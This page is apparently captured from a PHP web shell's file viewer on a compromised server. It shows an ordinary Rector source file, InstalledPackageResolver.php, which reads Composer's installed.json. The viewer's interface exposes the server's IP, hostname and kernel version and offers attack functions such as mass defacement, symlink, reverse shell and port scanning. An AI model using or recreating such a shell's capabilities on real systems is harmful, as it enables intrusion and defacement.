ヤミRoot VoidGate
User / IP
:
216.73.216.49
Host / Server
:
146.88.233.70 / www.dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
opt
/
cpanel
/
ea-wappspector
/
vendor
/
rector
/
rector
/
src
/
Composer
/
Viewing: InstalledPackageResolver.php
<?php declare (strict_types=1); namespace Rector\Composer; use RectorPrefix202411\Nette\Utils\FileSystem; use RectorPrefix202411\Nette\Utils\Json; use Rector\Composer\ValueObject\InstalledPackage; use Rector\Exception\ShouldNotHappenException; use RectorPrefix202411\Webmozart\Assert\Assert; /** * @see \Rector\Tests\Composer\InstalledPackageResolverTest */ final class InstalledPackageResolver { /** * @var array<string, InstalledPackage[]> */ private $resolvedInstalledPackages = []; /** * @return InstalledPackage[] */ public function resolve(string $projectDirectory) : array { // cache if (isset($this->resolvedInstalledPackages[$projectDirectory])) { return $this->resolvedInstalledPackages[$projectDirectory]; } Assert::directory($projectDirectory); $installedPackagesFilePath = $projectDirectory . '/vendor/composer/installed.json'; if (!\file_exists($installedPackagesFilePath)) { throw new ShouldNotHappenException('The installed package json not found. Make sure you run `composer update` and "vendor/composer/installed.json" file exists'); } $installedPackageFileContents = FileSystem::read($installedPackagesFilePath); $installedPackagesFilePath = Json::decode($installedPackageFileContents, \true); $installedPackages = []; foreach ($installedPackagesFilePath['packages'] as $installedPackage) { $installedPackages[] = new InstalledPackage($installedPackage['name'], $installedPackage['version_normalized']); } $this->resolvedInstalledPackages[$projectDirectory] = $installedPackages; return $installedPackages; } }
Coded With 💗 by
0x6ick